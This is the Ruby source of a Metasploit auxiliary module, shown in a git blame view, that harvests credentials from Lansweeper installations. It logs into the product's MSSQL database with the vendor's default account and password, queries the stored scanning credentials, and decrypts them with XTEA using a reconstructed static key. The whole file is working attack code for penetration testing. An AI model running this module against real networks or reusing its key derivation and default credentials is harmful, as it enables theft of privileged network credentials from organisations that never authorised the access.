metasploit-framework/modules/auxiliary/gather/lansweeper_collector.rb

157 lines
4.1 KiB
Ruby
Raw Normal View History

require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2015-06-26 08:29:17 +00:00
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Lansweeper Credential Collector',
2015-08-04 21:28:50 +00:00
'Description' => %q(
Lansweeper stores the credentials it uses to scan the computers
in its Microsoft SQL database. The passwords are XTea-encrypted with a
68 character long key, in which the first 8 characters are stored with
the password in the database and the other 60 is static. Lansweeper, by
default, creates an MSSQL user "lansweeperuser" with the password is
"mysecretpassword0*", and stores its data in a database called
"lansweeperdb". This module will query the MSSQL database for the
credentials.
2015-08-04 21:28:50 +00:00
),
'Author' =>
[
'sghctoma <tamas.szakaly[at]praudit.hu>', # Lansweeper RCE + Metasploit implementation
'eq <balazs.bucsay[at]praudit.hu>', # Lansweeper RCE + discovering default credentials
'calderpwn <calderon[at]websec.mx>' # Module for lansweeper (5.3.0.8)
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'USERNAME' => 'lansweeperuser',
'PASSWORD' => 'mysecretpassword0*'
},
'References' =>
[
['URL', 'http://www.lansweeper.com'],
['URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea']
]))
register_options([
OptString.new('DATABASE', [true, 'The Lansweeper database', 'lansweeperdb'])
], self.class)
2015-06-26 08:29:17 +00:00
end
def uint32(n)
n & 0xffffffff
end
2015-08-04 21:41:15 +00:00
def xtea_decode(v, k)
sum = 0xc6ef3720
v_0 = uint32(v[0])
v_1 = uint32(v[1])
2015-06-26 08:29:17 +00:00
0.upto(0x1f) do
2015-08-04 21:41:15 +00:00
v_1 -= uint32((uint32(v_0 << 4) ^ uint32(v_0 >> 5)) + v_0) ^ uint32(sum + k[uint32(sum >> 11) & 3])
v_1 = uint32(v_1)
sum -= 0x9e3779b9
sum = uint32(sum)
v_0 -= (uint32(uint32(v_1 << 4) ^ uint32(v_1 >> 5)) + v_1) ^ uint32(sum + k[sum & 3])
v_0 = uint32(v_0)
2015-06-26 08:29:17 +00:00
end
2015-08-04 21:41:15 +00:00
v[0] = v_0
v[1] = v_1
2015-06-26 08:29:17 +00:00
end
2015-08-04 21:41:15 +00:00
def xtea_decrypt(data, key)
2015-06-26 08:29:17 +00:00
k = key.ljust(16).unpack('VVVV')
num = 0
bytes = Array.new
0.step(data.length - 1, 8) do |i|
v = data[i, 8].unpack('VV')
2015-08-04 21:41:15 +00:00
xtea_decode(v, k)
2015-06-26 08:29:17 +00:00
bytes[num] = v[0]
num += 1
bytes[num] = v[1]
num += 1
end
2015-08-04 21:41:15 +00:00
2015-06-26 08:29:17 +00:00
bytes.pack('c*')
end
2015-08-04 21:41:15 +00:00
def lsw_generate_pass
2015-06-26 08:29:17 +00:00
key = ''
2015-08-04 21:41:15 +00:00
(0..60).each do |num|
2015-06-26 08:29:17 +00:00
key << [((40 - num) + ((num * 2) + num)) - 1].pack('c')
key << [(num + 15) + num].pack('c')
end
2015-08-04 21:41:15 +00:00
2015-06-26 08:29:17 +00:00
key
end
2015-08-04 21:41:15 +00:00
def lsw_decrypt(data)
2015-06-26 08:29:17 +00:00
data = Rex::Text.decode_base64(data)
first = data[0]
pass = data[1, 8]
2015-08-04 21:41:15 +00:00
actual_data = data[9, data.length - 9]
2015-06-26 08:29:17 +00:00
2015-08-04 21:41:15 +00:00
decrypted = xtea_decrypt(actual_data, pass + lsw_generate_pass)
2015-06-26 08:29:17 +00:00
2015-08-04 21:41:15 +00:00
if first == '1'
2015-06-26 08:29:17 +00:00
decrypted = decrypted[0, decrypted.length - 2]
end
2015-08-04 21:41:15 +00:00
2015-06-26 08:29:17 +00:00
Rex::Text.to_ascii(decrypted, 'utf-16le')
end
def report_cred(opts)
service_data = {
address: opts[:host],
port: opts[:port],
protocol: 'tcp',
workspace_id: myworkspace.id,
2015-08-04 21:41:15 +00:00
service_name: opts[:creds_name]
}
2015-08-04 21:41:15 +00:00
credential_data = {
2015-06-28 14:32:16 +00:00
username: opts[:user],
private_type: :password,
private_data: opts[:password],
origin_type: :service,
module_fullname: self.fullname
}.merge(service_data)
2015-08-04 21:41:15 +00:00
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
2015-06-26 08:29:17 +00:00
def run
unless mssql_login_datastore
2015-08-04 21:41:15 +00:00
fail_with(Failure::NoAccess, 'Login failed. Check credentials.')
end
2015-08-04 21:41:15 +00:00
result = mssql_query("select Credname, Username, Password from #{datastore['DATABASE']}.dbo.tsysCredentials WHERE LEN(Password)>64", false)
result[:rows].each do |row|""
pw = lsw_decrypt(row[2])
print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}")
2015-08-04 21:41:15 +00:00
report_cred(
:host => rhost,
:port => rport,
:creds_name => row[0],
:user => row[1],
:password => pw
)
2015-06-26 08:29:17 +00:00
end
disconnect
end
end